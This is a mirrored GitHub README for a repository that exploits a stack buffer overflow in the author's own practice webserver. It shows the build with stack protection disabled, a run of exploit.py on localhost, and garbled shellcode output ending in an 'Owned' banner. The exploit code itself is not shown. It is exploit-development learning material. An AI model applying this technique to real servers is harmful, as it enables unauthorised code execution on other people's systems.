Giter VIP home page Giter VIP logo

compilepeace / webserver_exploit Goto Github PK

View Code? Open in Web Editor NEW
7.0 0.0 5.0 955 KB

This repository contains exploit to the webserver from the NETWORK_PROGRAMS repository.

Python 8.44% Assembly 9.16% Shell 0.77% Makefile 1.65% C 78.39% HTML 1.60%
buffer-overflow-exploit smash-the-stack webserver-exploit memory-corruption reverse-engineering stack-overflow shellcode-development linux-x86-shellcode custom-shell exploit-development

webserver_exploit's Introduction

WEBSERVER EXPLOIT

This repository contains the exploit code for webserver program (whose source code can be found here). This exploit takes advantage of the stack overflow vulnerability caused by no bound checking on user input in 'recieve_line()' present in send_recieve.h which causes corruption of connection_handler()'s stack frame leading to arbitrary code execution. The shellcode used can be found in the shellcode directory.

USAGE

Issue the commands bellow on the terminal (while present in the project directory) to get the directory to the local system-

root@kali:~$ git clone https://github.com/compilepeace/WEBSERVER_EXPLOIT.git
Cloning into 'WEBSERVER_EXPLOIT'...
remote: Enumerating objects: 34, done.
remote: Counting objects: 100% (34/34), done.
remote: Compressing objects: 100% (26/26), done.
remote: Total 34 (delta 11), reused 30 (delta 7), pack-reused 0
Unpacking objects: 100% (34/34), done.
root@kali:~$ cd ./WEBSERVER_EXPLOIT/webserver
root@kali:~WEBSERVER_EXPLOIT/webserver$ make
gcc -fno-stack-protector -z execstack web_server.c -o webserver

To reproduce exploitation on Linux x86 machine. Fire up the terminal and type the following -

root@kali:~WEBSERVER_EXPLOIT/webserver# ./webserver 

Listening on Port: 8080

This hangs up listening for connections. Fire up the second terminal and type the following -

root@kali:~WEBSERVER_EXPLOIT# python exploit.py
root@kali:~WEBSERVER_EXPLOIT#

Have a look at the first terminal which shows the execution of our shellcode.

root@kali:~/WEBSERVER_EXPLOIT/webserver# ./webserver 

Listening on Port: 8080

Client connected : 127.0.0.1: 40320 
 Request recieved: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1��É��°�Y�(̀1��ð̀�����

~~~~Owned~~~~by~~~~0xDarkMagician~~~~

���������������������������������������������������������������������������� 
 Bytes recieved  : 0 


~~~~Owned~~~~by~~~~0xDarkMagician~~~~

You can email me regarding any queries -

NAME : ABHINAV THAKUR
EMAIL: [email protected]

webserver_exploit's People

Contributors

compilepeace avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.